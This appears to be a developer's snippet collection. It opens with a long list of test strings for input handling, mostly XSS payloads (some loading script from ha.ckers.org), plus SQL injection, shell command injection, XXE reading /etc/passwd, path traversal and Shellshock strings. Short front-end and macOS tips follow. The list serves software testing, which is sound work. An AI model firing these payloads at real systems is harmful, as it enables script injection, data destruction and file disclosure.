'><script>alert(123);</script x='
><script>alert(123);</script x=
" autofocus onkeyup="javascript:alert(123)
' autofocus onkeyup='javascript:alert(123)
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
ABC<div style="x\x3Aexpression(javascript:alert(1)">DEF
ABC<div style="x:expression\x5C(javascript:alert(1)">DEF
ABC<div style="x:expression\x00(javascript:alert(1)">DEF
ABC<div style="x:exp\x00ression(javascript:alert(1)">DEF
ABC<div style="x:exp\x5Cression(javascript:alert(1)">DEF
ABC<div style="x:\x0Aexpression(javascript:alert(1)">DEF
ABC<div style="x:\x09expression(javascript:alert(1)">DEF
ABC<div style="x:\xE3\x80\x80expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x84expression(javascript:alert(1)">DEF
ABC<div style="x:\xC2\xA0expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x80expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(1)">DEF
ABC<div style="x:\x0Dexpression(javascript:alert(1)">DEF
ABC<div style="x:\x0Cexpression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x87expression(javascript:alert(1)">DEF
ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(1)">DEF
ABC<div style="x:\x20expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x88expression(javascript:alert(1)">DEF
ABC<div style="x:\x00expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x86expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x85expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x82expression(javascript:alert(1)">DEF
ABC<div style="x:\x0Bexpression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x81expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x83expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x89expression(javascript:alert(1)">DEF
<a href="\x0Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x0Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xC2\xA0javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x05javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE1\xA0\x8Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x18javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x11javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x88javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x89javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x17javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x03javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x0Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x1Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x00javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x10javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x82javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x20javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x13javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x09javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x8Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x14javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x19javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xAFjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x1Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x81javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x1Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x87javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x07javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE1\x9A\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x83javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x04javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x01javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x08javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x84javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x86javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE3\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x12javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x0Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x0Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x0Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x15javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xA8javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x16javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x02javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x1Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x06javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xA9javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x85javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x1Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x81\x9Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x1Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javascript\x00:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javascript\x3A:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javascript\x09:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javascript\x0D:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javascript\x0A:javascript:alert(1)" id="fuzzelement1">test</a>
`"'><img src=xxx:x \x0Aonerror=javascript:alert(1)>
`"'><img src=xxx:x \x22onerror=javascript:alert(1)>
`"'><img src=xxx:x \x0Bonerror=javascript:alert(1)>
`"'><img src=xxx:x \x0Donerror=javascript:alert(1)>
`"'><img src=xxx:x \x2Fonerror=javascript:alert(1)>
`"'><img src=xxx:x \x09onerror=javascript:alert(1)>
`"'><img src=xxx:x \x0Conerror=javascript:alert(1)>
`"'><img src=xxx:x \x00onerror=javascript:alert(1)>
`"'><img src=xxx:x \x27onerror=javascript:alert(1)>
`"'><img src=xxx:x \x20onerror=javascript:alert(1)>
"`'><script>\x3Bjavascript:alert(1)</script>
"`'><script>\x0Djavascript:alert(1)</script>
"`'><script>\xEF\xBB\xBFjavascript:alert(1)</script>
"`'><script>\xE2\x80\x81javascript:alert(1)</script>
"`'><script>\xE2\x80\x84javascript:alert(1)</script>
"`'><script>\xE3\x80\x80javascript:alert(1)</script>
"`'><script>\x09javascript:alert(1)</script>
"`'><script>\xE2\x80\x89javascript:alert(1)</script>
"`'><script>\xE2\x80\x85javascript:alert(1)</script>
"`'><script>\xE2\x80\x88javascript:alert(1)</script>
"`'><script>\x00javascript:alert(1)</script>
"`'><script>\xE2\x80\xA8javascript:alert(1)</script>
"`'><script>\xE2\x80\x8Ajavascript:alert(1)</script>
"`'><script>\xE1\x9A\x80javascript:alert(1)</script>
"`'><script>\x0Cjavascript:alert(1)</script>
"`'><script>\x2Bjavascript:alert(1)</script>
"`'><script>\xF0\x90\x96\x9Ajavascript:alert(1)</script>
"`'><script>-javascript:alert(1)</script>
"`'><script>\x0Ajavascript:alert(1)</script>
"`'><script>\xE2\x80\xAFjavascript:alert(1)</script>
"`'><script>\x7Ejavascript:alert(1)</script>
"`'><script>\xE2\x80\x87javascript:alert(1)</script>
"`'><script>\xE2\x81\x9Fjavascript:alert(1)</script>
"`'><script>\xE2\x80\xA9javascript:alert(1)</script>
"`'><script>\xC2\x85javascript:alert(1)</script>
"`'><script>\xEF\xBF\xAEjavascript:alert(1)</script>
"`'><script>\xE2\x80\x83javascript:alert(1)</script>
"`'><script>\xE2\x80\x8Bjavascript:alert(1)</script>
"`'><script>\xEF\xBF\xBEjavascript:alert(1)</script>
"`'><script>\xE2\x80\x80javascript:alert(1)</script>
"`'><script>\x21javascript:alert(1)</script>
"`'><script>\xE2\x80\x82javascript:alert(1)</script>
"`'><script>\xE2\x80\x86javascript:alert(1)</script>
"`'><script>\xE1\xA0\x8Ejavascript:alert(1)</script>
"`'><script>\x0Bjavascript:alert(1)</script>
"`'><script>\x20javascript:alert(1)</script>
"`'><script>\xC2\xA0javascript:alert(1)</script>
<img \x00src=x onerror="alert(1)">
<img \x47src=x onerror="javascript:alert(1)">
<img \x11src=x onerror="javascript:alert(1)">
<img \x12src=x onerror="javascript:alert(1)">
<img\x47src=x onerror="javascript:alert(1)">
<img\x10src=x onerror="javascript:alert(1)">
<img\x13src=x onerror="javascript:alert(1)">
<img\x32src=x onerror="javascript:alert(1)">
<img\x47src=x onerror="javascript:alert(1)">
<img\x11src=x onerror="javascript:alert(1)">
<img \x47src=x onerror="javascript:alert(1)">
<img \x34src=x onerror="javascript:alert(1)">
<img \x39src=x onerror="javascript:alert(1)">
<img \x00src=x onerror="javascript:alert(1)">
<img src\x09=x onerror="javascript:alert(1)">
<img src\x10=x onerror="javascript:alert(1)">
<img src\x13=x onerror="javascript:alert(1)">
<img src\x32=x onerror="javascript:alert(1)">
<img src\x12=x onerror="javascript:alert(1)">
<img src\x11=x onerror="javascript:alert(1)">
<img src\x00=x onerror="javascript:alert(1)">
<img src\x47=x onerror="javascript:alert(1)">
<img src=x\x09onerror="javascript:alert(1)">
<img src=x\x10onerror="javascript:alert(1)">
<img src=x\x11onerror="javascript:alert(1)">
<img src=x\x12onerror="javascript:alert(1)">
<img src=x\x13onerror="javascript:alert(1)">
<img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)">
<img src=x onerror=\x09"javascript:alert(1)">
<img src=x onerror=\x10"javascript:alert(1)">
<img src=x onerror=\x11"javascript:alert(1)">
<img src=x onerror=\x12"javascript:alert(1)">
<img src=x onerror=\x32"javascript:alert(1)">
<img src=x onerror=\x00"javascript:alert(1)">
<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:alert(1)>XXX</a>
<img src="x` `<script>javascript:alert(1)</script>"` `>
<img src onerror /" '"= alt=javascript:alert(1)//">
<title onpropertychange=javascript:alert(1)></title><title title=>
<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>">
<!--[if]><script>javascript:alert(1)</script -->
<!--[if<img src=x onerror=javascript:alert(1)//]> -->
<script src="/\%(jscript)s"></script>
<script src="\\%(jscript)s"></script>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC="jav   ascript:alert('XSS');">
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
<IMG SRC=" &#14;  javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
<SCRIPT SRC=//ha.ckers.org/.j>
<IMG SRC="javascript:alert('XSS')"
<iframe src=http://ha.ckers.org/scriptlet.html <
\";alert('XSS');//
<u oncopy=alert()> Copy me</u>
<i onwheel=alert(1)> Scroll over me </i>
<plaintext>
http://a/%%30%30
</textarea><script>alert(123)</script>

# SQL Injection
#
# Strings which can cause a SQL injection if inputs are not sanitized

1;DROP TABLE users
1'; DROP TABLE users-- 1
' OR 1=1 -- 1
' OR '1'='1

%
_

# Server Code Injection
#
# Strings which can cause user to run code on server as a privileged user (c.f. https://news.ycombinator.com/item?id=7665153)

-
--
--version
--help
$USER
/dev/null; touch /tmp/blns.fail ; echo
`touch /tmp/blns.fail`
$(touch /tmp/blns.fail)
@{[system "touch /tmp/blns.fail"]}

# Command Injection (Ruby)
#
# Strings which can call system commands within Ruby/Rails applications

eval("puts 'hello world'")
System("ls -al /")
`ls -al /`
Kernel.exec("ls -al /")
Kernel.exit(1)
%x('ls -al /')

#      XXE Injection (XML)
#
# String which can reveal system files when parsed by a badly configured XML parser

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

# Unwanted Interpolation
#
# Strings which can be accidentally expanded into different strings if evaluated in the wrong context, e.g. used as a printf format string or via Perl or shell eval. Might expose sensitive data from the program doing the interpolation, or might just represent the wrong string.

$HOME
$ENV{'HOME'}
%d
%s%s%s%s%s
{0}
%*.*s
%@
%n
File:///

# File Inclusion
#
# Strings which can cause user to pull in files that should not be a part of a web server

../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../etc/hosts

# Known CVEs and Vulnerabilities
#
# Strings that test for known vulnerabilities

() { 0; }; touch /tmp/blns.shellshock1.fail;
() { _; } >_[$($())] { touch /tmp/blns.shellshock2.fail; }
<<< %s(un='%s') = %u
+++ATH0

# MSDOS/Windows Special Filenames
#
# Strings which are reserved characters in MSDOS/Windows

CON
PRN
AUX
CLOCK$
NUL
A:
ZZ:
COM1
LPT1
LPT2
LPT3
COM2
COM3
COM4

#   IRC specific strings
#
#   Strings that may occur on IRC clients that make security products freak out

DCC SEND STARTKEYLOGGER 0 0 0

# Scunthorpe Problem
#
# Innocuous strings which may be blocked by profanity filters (https://en.wikipedia.org/wiki/Scunthorpe_problem)

Scunthorpe General Hospital
Penistone Community Church
Lightwater Country Park
Jimmy Clitheroe
Horniman Museum
shitake mushrooms
RomansInSussex.co.uk
http://www.cum.qc.ca/
Craig Cockburn, Software Specialist
Linda Callahan
Dr. Herman I. Libshitz
magna cum laude
Super Bowl XXX
medieval erection of parapets
evaluate
mocha
expression
Arsenal canal
classic
Tyson Gay
Dick Van Dyke
basement

# Human injection
#
# Strings which may cause human to reinterpret worldview

If you're reading this, you've been in a coma for almost 20 years now. We're trying a new technique. We don't know where this message will end up in your dream, but we hope it works. Please wake up, we miss you.

# Terminal escape codes
#
# Strings which punish the fools who use cat/type on this file

Roses are [0;31mred[0m, violets are [0;34mblue. Hope you enjoy terminal hue
But now...[20Cfor my greatest trick...[8m
The quick brown fox... [Beeeep]

# iOS Vulnerabilities
#
# Strings which crashed iMessage in various versions of iOS

Powerلُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ冗
🏳0🌈️
జ్ఞ‌ా

# Persian special characters
#
# This is a four characters string which includes Persian special characters (گچپژ)

گچپژ

Fixed-width numbers

Zander Martineau — Mon, 11 May 2020 00:00:00 GMT

.yourClass {
  font-variant-numeric: tabular-nums;
}

Handling Long Words and URLs (Forcing Breaks, Hyphenation, Ellipsis, etc)

Zander Martineau — Mon, 11 May 2020 00:00:00 GMT

.dont-break-out {
  /* These are technically the same, but use both */
  overflow-wrap: break-word;
  word-wrap: break-word;

  -ms-word-break: break-all;
  /* This is the dangerous one in WebKit, as it breaks things wherever */
  word-break: break-all;
  /* Instead use this non-standard one: */
  word-break: break-word;

  /* Adds a hyphen where the word breaks, if supported (No Blink) */
  -ms-hyphens: auto;
  -moz-hyphens: auto;
  -webkit-hyphens: auto;
  hyphens: auto;
}

Preventing Overflow with Ellipsis

Another approach to consider is truncating the text altogether and adding ellipses where the string of text hits the container:

.ellipses {
  overflow: hidden;
  white-space: nowrap;
  text-overflow: ellipsis;
}

Opengraph metacrap

Zander Martineau — Mon, 11 May 2020 00:00:00 GMT

<!DOCTYPE html>
<html lang="en">
  <head>
    <title></title>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <meta name="author" content="" />
    <meta name="description" content="" />

    <!-― facebook open graph tags -->
    <meta property="og:type" content="website" />
    <meta property="og:url" content="" />
    <meta property="og:title" content="" />
    <meta property="og:description" content="" />
    <meta property="og:image" content="" />

    <!-― twitter card tags additive with the og: tags -->
    <meta name="twitter:card" content="summary_large_image" />
    <meta name="twitter:domain" value="" />
    <meta name="twitter:title" value="" />
    <meta name="twitter:description" value="" />
    <meta name="twitter:image" content="" />
    <meta name="twitter:url" value="" />
    <meta name="twitter:label1" value="" />
    <meta name="twitter:data1" value="" />
    <meta name="twitter:label2" value="" />
    <meta name="twitter:data2" value="" />

    <link href="style.css" rel="stylesheet" />
    <link rel="icon" type="image/svg+xml" href="/favicon.svg" />
  </head>
</html>

Everything you ever wanted to know about unfurling but were afraid to ask /or/ How to make your site previews look amazing in Slack

Facebook: https://developers.facebook.com/docs/sharing/webmasters

https://sproutsocial.com/insights/social-media-image-sizes-guide/

Metatags.io

Metatags.io is a very useful service to validate your metatags but also to generate the code needed for them too.

Cutting the mustard

Zander Martineau — Thu, 07 May 2020 00:00:00 GMT

Basic example

if (
  'querySelector' in document &&
  'localStorage' in window &&
  'addEventListener' in window &&
  'classList' in document.documentElement
) {
  ;(function (H) {
    H.className = H.className.replace(/\bbase\b/, 'enhanced')
  })(document.documentElement)
  window.lp.enhanced = true
}

// or invert it so that extra scripts/polyfills can be loaded
if (
  !(
    'querySelector' in doc &&
    'addEventListener' in window &&
    'classList' in docElem
  )
) {
  // basic browsers: last stop here!
  loadJS('/assets/js/standalone/shims.js')
  loadJS('/assets/js/standalone/matchMedia.js')
  return
}

More complex example

Taken from https://barilla.com

// Many things taken from https://github.com/filamentgroup/enhance
;(function (window, undefined) {
  'use strict'

  var enhance = { enhanced: false },
    doc = window.document,
    docElem = doc.documentElement
  docElem.className = docElem.className.replace(/\bno-js\b/g, '') + ' js '

  // loadJS: load a JS file asynchronously. Included from https://github.com/filamentgroup/loadJS/
  // prettier-ignore
  function loadJS(e,t){"use strict";var n=window.document.getElementsByTagName("script")[0],o=window.document.createElement("script");return o.src=e,o.async=!0,n.parentNode.insertBefore(o,n),t&&"function"==typeof t&&(o.onload=t),o}
  window.loadJS = enhance.loadJS = loadJS

  // loadCSS: load a CSS file asynchronously. Included from https://github.com/filamentgroup/loadCSS/
  // prettier-ignore
  function loadCSS(e,t,n){function o(){for(var t,i=0;i<d.length;i++)d[i].href&&d[i].href.indexOf(e)>-1&&(t=!0);t?r.media=n||"all":setTimeout(o)}var r=window.document.createElement("link"),i=t||window.document.getElementsByTagName("script")[0],d=window.document.styleSheets;return r.rel="stylesheet",r.href=e,r.media="only x",i.parentNode.insertBefore(r,i),o(),r}
  window.loadCSS = enhance.loadCSS = loadCSS

  /* Enhancements for qualified browsers - "Cutting the Mustard" */
  if (
    !(
      'querySelector' in doc &&
      'addEventListener' in window &&
      'classList' in docElem
    )
  ) {
    // basic browsers: last stop here!
    loadJS('/assets/js/standalone/shims.js')
    loadJS('/assets/js/standalone/matchMedia.js')
    return
  }

  // From here on we're dealing with qualified browsers.
  docElem.classList.add('is-enhanced')
  window.enhance = enhance
  window.enhance.enhanced = true

  if (sessionStorage.fontsLoaded) {
    docElem.classList.add('fonts-loaded')
  } else {
    // Font-face observer: https://github.com/bramstein/fontfaceobserver
    // prettier-ignore
    (function(){'use strict';var f=[];function g(a){f.push(a);1===f.length&&l()}function m(){for(;f.length;)f[0](),f.shift()}if(window.MutationObserver){var n=document.createElement("div");(new MutationObserver(m)).observe(n,{attributes:!0});var l=function(){n.setAttribute("x",0)}}else l=function(){setTimeout(m)};function p(a){this.a=q;this.b=void 0;this.f=[];var b=this;try{a(function(a){r(b,a)},function(a){t(b,a)})}catch(c){t(b,c)}}var q=2;function u(a){return new p(function(b,c){c(a)})}function v(a){return new p(function(b){b(a)})}function r(a,b){if(a.a===q){if(b===a)throw new TypeError("Promise settled with itself.");var c=!1;try{var d=b&&b.then;if(null!==b&&"object"===typeof b&&"function"===typeof d){d.call(b,function(b){c||r(a,b);c=!0},function(b){c||t(a,b);c=!0});return}}catch(e){c||t(a,e);return}a.a=0;a.b=b;w(a)}}function t(a,b){if(a.a===q){if(b===a)throw new TypeError("Promise settled with itself.");a.a=1;a.b=b;w(a)}}function w(a){g(function(){if(a.a!==q)for(;a.f.length;){var b=a.f.shift(),c=b[0],d=b[1],e=b[2],b=b[3];try{0===a.a?"function"===typeof c?e(c.call(void 0,a.b)):e(a.b):1===a.a&&("function"===typeof d?e(d.call(void 0,a.b)):b(a.b))}catch(h){b(h)}}})}p.prototype.g=function(a){return this.c(void 0,a)};p.prototype.c=function(a,b){var c=this;return new p(function(d,e){c.f.push([a,b,d,e]);w(c)})};function x(a){return new p(function(b,c){function d(c){return function(d){h[c]=d;e+=1;e===a.length&&b(h)}}var e=0,h=[];0===a.length&&b(h);for(var k=0;k<a.length;k+=1)v(a[k]).c(d(k),c)})}function y(a){return new p(function(b,c){for(var d=0;d<a.length;d+=1)v(a[d]).c(b,c)})};window.Promise||(window.Promise=p,window.Promise.resolve=v,window.Promise.reject=u,window.Promise.race=y,window.Promise.all=x,window.Promise.prototype.then=p.prototype.c,window.Promise.prototype["catch"]=p.prototype.g);}());
    // prettier-ignore
    (function(){'use strict';function h(a){document.body?a():document.addEventListener("DOMContentLoaded",a)};function v(a){this.a=document.createElement("div");this.a.setAttribute("aria-hidden","true");this.a.appendChild(document.createTextNode(a));this.b=document.createElement("span");this.c=document.createElement("span");this.h=document.createElement("span");this.g=document.createElement("span");this.f=-1;this.b.style.cssText="display:inline-block;position:absolute;height:100%;width:100%;overflow:scroll;font-size:16px;";this.c.style.cssText="display:inline-block;position:absolute;height:100%;width:100%;overflow:scroll;font-size:16px;";this.g.style.cssText="display:inline-block;position:absolute;height:100%;width:100%;overflow:scroll;font-size:16px;";this.h.style.cssText="display:inline-block;width:200%;height:200%;font-size:16px;";this.b.appendChild(this.h);this.c.appendChild(this.g);this.a.appendChild(this.b);this.a.appendChild(this.c)}function w(a,c,b){a.a.style.cssText="min-width:20px;min-height:20px;display:inline-block;overflow:hidden;position:absolute;width:auto;margin:0;padding:0;top:-999px;left:-999px;white-space:nowrap;font-size:100px;font-family:"+c+";"+b}function x(a){var c=a.a.offsetWidth,b=c+100;a.g.style.width=b+"px";a.c.scrollLeft=b;a.b.scrollLeft=a.b.scrollWidth+100;return a.f!==c?(a.f=c,!0):!1}function y(a,c){a.b.addEventListener("scroll",function(){x(a)&&null!==a.a.parentNode&&c(a.f)},!1);a.c.addEventListener("scroll",function(){x(a)&&null!==a.a.parentNode&&c(a.f)},!1);x(a)};function z(a,c){var b=c||{};this.family=a;this.style=b.style||"normal";this.variant=b.variant||"normal";this.weight=b.weight||"normal";this.stretch=b.stretch||"normal";this.featureSettings=b.featureSettings||"normal"}var B=null;z.prototype.a=function(a,c){var b=a||"BESbswy",C=c||3E3,k="font-style:"+this.style+";font-variant:"+this.variant+";font-weight:"+this.weight+";font-stretch:"+this.stretch+";font-feature-settings:"+this.featureSettings+";-moz-font-feature-settings:"+this.featureSettings+";-webkit-font-feature-settings:"+this.featureSettings+";",g=document.createElement("div"),l=new v(b),m=new v(b),n=new v(b),d=-1,e=-1,f=-1,q=-1,r=-1,t=-1,p=this;return new Promise(function(a,b){function c(){null!==g.parentNode&&g.parentNode.removeChild(g)}function u(){if(-1!==d&&-1!==e||-1!==d&&-1!==f||-1!==e&&-1!==f)if(d===e||d===f||e===f){if(null===B){var b=/AppleWebKit\/([0-9]+)(?:\.([0-9]+))/.exec(window.navigator.userAgent);B=!!b&&(536>parseInt(b[1],10)||536===parseInt(b[1],10)&&11>=parseInt(b[2],10))}B?d===q&&e===q&&f===q||d===r&&e===r&&f===r||d===t&&e===t&&f===t||(c(),a(p)):(c(),a(p))}}h(function(){function a(){if(Date.now()-D>=C)c(),b(p);else{var A=document.hidden;if(!0===A||void 0===A)d=l.a.offsetWidth,e=m.a.offsetWidth,f=n.a.offsetWidth,u();setTimeout(a,50)}}var D=Date.now();w(l,"sans-serif",k);w(m,"serif",k);w(n,"monospace",k);g.appendChild(l.a);g.appendChild(m.a);g.appendChild(n.a);document.body.appendChild(g);q=l.a.offsetWidth;r=m.a.offsetWidth;t=n.a.offsetWidth;a();y(l,function(a){d=a;u()});w(l,'"'+p.family+'",sans-serif',k);y(m,function(a){e=a;u()});w(m,'"'+p.family+'",serif',k);y(n,function(a){f=a;u()});w(n,'"'+p.family+'",monospace',k)})})};window.FontFaceObserver=z;window.FontFaceObserver.prototype.check=z.prototype.a;}());

    // Check for font so we can handle FOUT/FOIT consistently across all devices
    var fontfaceobserver = new FontFaceObserver('HurmeGeometricSans4', {})
    fontfaceobserver.check().then(function () {
      docElem.classList.add('fonts-loaded')
      sessionStorage.fontsLoaded = true
    })
  }
})(this)

Clear DNS cache

Zander Martineau — Thu, 30 Apr 2020 00:00:00 GMT

OS X 10.11, 10.12+ (El Capitan, Sierra):

sudo killall -HUP mDNSResponder

Source: https://superuser.com/a/547218/89928

In Chrome

Navigate to chrome://net-internals/#dns and press the "Clear host cache" button.

Classes

Zander Martineau — Sat, 11 Apr 2020 00:00:00 GMT

class Parent {
  constructor(options) {
    this.title = options.title
    this.desc = options.desc
  }

  getMetadata() {
    return {
      title: this.title,
      desc: this.desc,
    }
  }
}

class Child extends Parent {
  constructor(parentOptions, childOptions) {
    super(parentOptions, childOptions)
    this.data = childOptions
  }

  getInfo() {
    return `${this.title} + ${this.desc} + ${JSON.stringify(this.data)}`
  }

  render() {}
}

const Bamber = new Child(
  {
    title: 'Bamber',
    desc: 'baby',
  },
  {
    foo: 'bar',
  }
)

console.log(JSON.stringify(Bamber.getMetadata()))

Create local self-signed certificate

Zander Martineau — Mon, 06 Apr 2020 00:00:00 GMT

Use mkcert

https://github.com/FiloSottile/mkcert

Install

brew install mkcert
brew install nss
mkcert -install

$ mkcert -install
Created a new local CA at "/Users/zander/Library/Application Support/mkcert" 💥
The local CA is now installed in the system trust store! ⚡️
The local CA is now installed in the Firefox trust store (requires browser restart)! 🦊

Run

mkcert localhost 127.0.0.1 ::1

$ mkcert localhost 127.0.0.1 ::1
Using the local CA at "/Users/zander/Library/Application Support/mkcert" ✨

Created a new certificate valid for the following names 📜
 - "localhost"
 - "127.0.0.1"
 - "::1"

The certificate is at "./localhost+2.pem" and the key at "./localhost+2-key.pem" ✅

This will add the certificate and key into whichever directory you ran the script in

Use openssl

Run this then follow the instructions.

sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout ./server.key -out ./server.crt

This is not nearly as good as mkcert though.

Cleanup / optimise computer

Zander Martineau — Thu, 26 Mar 2020 00:00:00 GMT

https://medium.freecodecamp.org/how-to-free-up-space-on-your-developer-mac-f542f66ddfb
https://gist.github.com/Aidurber/7549d3f83b00052cee745a6c4dcf7b9d

find . -name "node_modules" -type d -mtime +120 | xargs rm -rf

The mtime arg is in days, e.g. 120 is about 4 months & 240 is about 8 months`

CSS Filters

Zander Martineau — Thu, 26 Mar 2020 00:00:00 GMT

/* URL to SVG filter */
filter: url('filters.svg#filter-id');

/* <filter-function> values */
filter: blur(5px);
filter: brightness(0.4);
filter: contrast(200%);
filter: drop-shadow(16px 16px 20px blue);
filter: grayscale(50%);
filter: hue-rotate(90deg);
filter: invert(75%);
filter: opacity(25%);
filter: saturate(30%);
filter: sepia(60%);

/* Multiple filters */
filter: contrast(175%) brightness(3%);

/* Use no filter */
filter: none;

/* Global values */
filter: inherit;
filter: initial;
filter: unset;

Docs: http://developer.mozilla.org/en-US/docs/Web/CSS/filter

Favicons

Zander Martineau — Thu, 26 Mar 2020 00:00:00 GMT

<link rel="icon" href="/favicon.svg" type="image/svg+xml" />
<link rel="icon" href="/favicon.png" type="image/png" />

<!-- Could use the `sizes` attr too -->
<link rel="icon" type="image/png" href="/favicon-16x16.png" sizes="16x16" />
<link rel="icon" type="image/png" href="/favicon-32x32.png" sizes="32x32" />
